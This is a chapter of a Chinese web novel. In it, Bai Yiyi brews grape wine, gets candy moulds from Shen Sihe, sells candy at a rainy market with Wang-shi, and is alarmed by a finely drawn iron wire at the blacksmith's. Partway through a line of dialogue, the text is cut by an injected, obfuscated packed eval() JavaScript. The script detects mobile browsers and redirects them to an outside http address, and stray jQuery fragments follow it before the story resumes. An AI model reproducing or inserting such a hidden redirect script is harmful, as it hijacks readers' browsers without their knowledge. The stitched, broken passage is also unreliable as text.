雨夜未央，整个天水村都淹没在连枷击打湿穗的“砰—砰—”声中，此起彼伏的闷响像是大地疲惫的心跳。
“将军”第三声啼鸣刚歇，白一一顶着一头乱蓬蓬的头发推开房门。细雨依旧缠绵，她伸手探出屋檐，冰凉的雨滴在掌心碎成晶莹的水花。
“这雨今日能停吗？”她小声嘀咕着，随即抽回手，甩了甩水珠。管它停不停，日子总得过下去。
灶屋里，王氏的眼睛布满血丝，发髻却梳得一丝不苟。铁锅里的腌酸菜在她灵巧的翻炒下滋滋作响，蒸腾的热气模糊了她疲惫的面容。
“饭马上就好。”她温声道，声音里带着熬夜后的沙哑。
“好—”白一一应着，喉间泛起一丝干痒，手上的动作不由得加快了几分。
掀开葡萄酒瓮的瞬间，浓郁的涩香直冲脑门。竹勺探入瓮中，捞起的葡萄皮已经褪去艳紫，泛着乳白的色泽，混着紫红的原汁在勺中晃动——状态不错，看来昨日阴雨并未造成太大影响。
她利落地捞出葡萄皮，将原汁过滤后重新装入处理好的陶瓮。厚油纸一层层覆上瓮口，发出沙沙的轻响，像是在为这场与时间的赛跑画上一个暂时的休止符。
“吱呀——”
院门被雨水浸得发涩，推开时发出绵长的呻吟。
雨幕中，一道高挑的身影缓步而来。
男人单手举着一把破旧的油纸伞，伞面早已被岁月啃噬出一个豁口，雨水如细密的银针，顺着缺口簌簌坠下。而他怀里却紧紧搂着一摞木器，护得严严实实，连一丝水汽都未沾染。
一脚深一脚浅的步伐极稳，每一步都扎扎实实，仿佛怀里抱的不是木头，而是某种不可亵渎的圣物。
白一一站在檐下，瞧见他这副模样，眉头一皱，抄起墙角的簸箕往头上一顶，作势就要冲进雨里——
“你别动。”
他的声音穿透雨幕，清冷如初冬的溪水。脚步却明显加快，几乎是踩着水洼疾步而来。
“我过去。”
待他在檐下站定，白一一接过那把残破的伞，目光在他怀中干燥的木器和湿透的肩背间来回游移，不可置信地瞪圆了眼睛：
“该不会……这些木头一滴水都不能沾？”
沈思禾垂眸，指尖轻轻拂过木器边缘，声音淡淡的，带着雨水的凉意：
“雨又不会永远只落在同一个地方。”
白一一哑火一瞬，正欲开口，便见他已转身进屋，背影挺拔如松，仿佛刚才那句似是而非的话只是她的错觉。
“那为何不让我……”她快步跟上，话还没说完，只瞧见他将新糖匣、新模具和一捆长木条在桌上整齐排开，动作轻柔得像在安置什么稀世珍宝。
“这是男人的活计。”他头也不抬地说道。
白一一心口一噎，又好气又好笑——这颗满口“物无常形”的哲学脑袋，竟还知道“护花”？
她眼珠一转，忽然灵光一闪，抄起簸箕就冲进雨幕。
再回来时，手里多了一张被雨水洇湿一角的图纸，湿痕晕染开来，像一朵绽放的暗花。
“这个能做吗？”她微微喘息，睫毛上还挂着细小的雨珠，随着颤动。
沈思禾修长的手指接过图纸，指腹轻轻摩挲着那处湿痕，眉头微蹙，似在思索如何修补这意外的“残缺”。
“这是……”
“给鸡蛋造个房子。”白一一眼睛弯成了月牙。
男人嘴角微不可察地扬了扬，那抹笑意转瞬即逝，快得让人几乎以为是错觉。
“可。”他淡淡道，目光却未从图纸上移开，指尖无意识地轻敲桌面，像是在推演某种精妙的结构。
白一一的注意力早已被新模具吸引——专门针对读书人群体的“状元糖”：三层浪纹、二甲传胪纹、鱼化龙纹、一路连科纹、蟾宫折桂纹、连中三元荔枝纹和梅兰竹菊四君子纹……
她的指尖轻轻抚过那些繁复的雕工，触感细腻如抚过历史的年轮。
忽然，她抬起头，嘴角扯出一个狡黠的笑：
“沈思禾，要不……你还是再加点儿钱吧……”
白一一第一次穿上草鞋时，新奇得像个得到新玩具的孩童。脚掌不再被严严实实地包裹，每一寸肌肤都与天地直接相亲。粗糙的草茎摩挲着足底，细碎的石子硌出轻微的痛感，连晨露的凉意都透过编织的缝隙清晰可辨。
她忍不住轻轻跺脚，草鞋发出“沙沙”的声响，轻得仿佛随时会随风飘走。
这份雀跃很快被泥泞的山路消磨殆尽。湿黏的泥土像贪得无厌的饕餮，一次次肆意舔舐着草鞋，每一次抬脚都死死拽住鞋底不放。原本轻盈的鞋子渐渐沉重如铅，系带深深勒进皮肉，在脚踝上刻下道道红痕。
白一一不得不走走停停，每遇一块稍平整的石头，就像抓住救命稻草般拼命蹭鞋。泥块簌簌落下，却在下一步又缠上新的泥泞。
当她们终于冒着细雨抵达县城时，白一一早已记不清走了多久。鞋底的草茎早已磨得稀疏，脚掌被碎石硌得生疼，连脚趾缝里都嵌满了泥沙。
细雨透过斗笠将她的发丝黏在额前，裤子也被泥水溅得斑驳不堪。集市上的人声鼎沸扑面而来，她却只觉双腿灌了铅般沉重。
“铛——铛——铛——”三声开市的铜锣穿透雨幕，在湿漉漉的空气中震颤着散开。
“婶子，我们居然赶上了！”白一一晃了晃王氏的手，眼睛亮得像是装了两颗星星。她额前的碎发还滴着水，却笑眼弯成月牙，“您先收拾摊位，我去去就回！”
王氏用带着薄茧的手指替她拨开黏在脸上的湿发，温声道：“好，小心些。”
白一一转身钻进人群，蓑衣在雨中划出一道水痕。等她再回来时，怀里抱着三把油纸伞，嘴角却不受控制地抽动着——七百八十文啊！三把伞就掏空了大半个钱袋。再一次惦记上了那些还没出世的松花蛋：你们可千万得给老娘争口气啊！
"这伞......"王氏连忙迎上去接过。
“给糖打的，”白一一眯起眼睛，睫毛上还挂着雨珠，“总不能让咱们的糖淋雨受潮。”
“这钱该我出，我——”
“婶子～”白一一拖长的尾音像只撒娇的猫儿，她撅着嘴打断道，“您要是再这么见外，那我可得算算住宿钱、饭钱、洗衣钱，还有阿奶那些竹器……要不我明天就搬回老宅去。”
王氏急得直摆手：“不是这个理！你卖柿饼的钱一分不要，还给我买裙子，给娘和孩子们买布，如今家里顿顿都能吃上猪油炒菜，孩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456232|169130||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子们日日有糖吃，连我都能靠卖糖贴补家用…”她的声音越来越轻，“这些都是你来了之后……”
“哎呦我的好婶子～”白一一拽着王氏的胳膊晃了晃，“要不是你们收留我，我现在指不定在哪儿喝西北风呢！这伞是我自作主张买的，您就别跟我争啦。”
王氏却异常坚持：“营生上的开销，必须我来出。”
白一一叹了口气，知道这回是拗不过了：“好吧，都听婶子的。”她偷偷撇了撇嘴，看来这招先斩后奏以后是不管用了。
二人卖完糖来到铁汉王的小院前，绵绵细雨无声地渗入夯土墙的裂缝。还没踏入院门，一股比平日更灼人的热浪便迎面扑来。夯土炉里的火苗窜得老高，将雨幕都映成了橘红色。
“丫头！”
白一一还未开口，铁汉王眼尖先瞧见了她们。他一把将铁钳甩给阿财：“你们继续！”一手抄起短褐光着膀子就冲进雨里，古铜色的皮肤上还滚着汗珠，在雨中蒸腾起淡淡的白雾。
他三步并作两步冲到二人跟前，虽压着嗓门，可眼里的精光却藏不住：“那双缸风箱简直神了！”
白一一挑眉，将雨伞往他头顶偏了偏，嘴角不自觉地上扬：“这么快？我还以为至少要等个十天半个月呢。”
铁汉王用沾满煤灰的大手接过伞，挺直腰板正色道：“还不是看你急着要？那李老头心黑得很，硬是多要了一百文才给加急……”
“呸！明明是你自己手痒想早点打出好东西，少往我头上扣屎盆子……”白一一笑骂着，变戏法似的从袖中摸出两支糖，“喏，今日的糖份子。”
铁汉王愣了一下，左手在裤腿上反复蹭了几遍才接过，喉结动了动：“我替两个小的谢谢你，总惦记着他们。”
“可别这么说，”白一一拍拍胸脯，“咱们这是互惠互利。你家里和和美美的，打铁的手艺才能更上一层楼不是？往后你家两个小崽子的糖，我这个做姑姑的全包了……”
当二人在里屋落座，铁汉王从身后斑驳的木柜中取出几件物什，一一摆在桌上。
天边滚过一阵低沉的轰鸣，像地底巨兽翻了个身，震得屋檐下的蜘蛛网簌簌颤动。
白一一的目光瞬间被那节细铁丝攫住，瞳孔紧缩如针尖。她的指尖悬在半空微微发颤，仿佛面前盘着一条随时会暴起的银蛇。“真成了？才一日光景…”声音轻得像怕惊醒沉睡的鬼神，突然一把攥住铁汉王的手腕，“你掐我一把…不，等等，你那铁砂掌…”
“砰！”
她猛地握拳砸向桌面，粗陶茶杯惊跳起来，杯子里的茶沫在震荡中画出凌乱的轨迹。指节传来的锐痛如此真实，而掌中铁丝的余温更像灼烧的烙印——这不是梦，是足以颠覆命运的危险馈赠。
“铁汉王。”她的声音突然沉得像淬了冰，指腹摩挲着光滑的铁丝——这触感像被流水打磨千年的卵石，“你可知道这东西意味着什么？”
“咋？能卖大价钱？”铁汉王满不在乎地挠了挠胡子，煤灰簌簌落在衣襟上。
白一一缓缓抬头，眸中冷焰骤燃：“意味着从今日起，你我的脑袋都得系在裤腰带上过日子了。”恰在此时，一道霹雳撕开雨幕，青光透过窗纸，将她半边脸照得惨白如骨，另半边却陷在浓墨般的阴影里……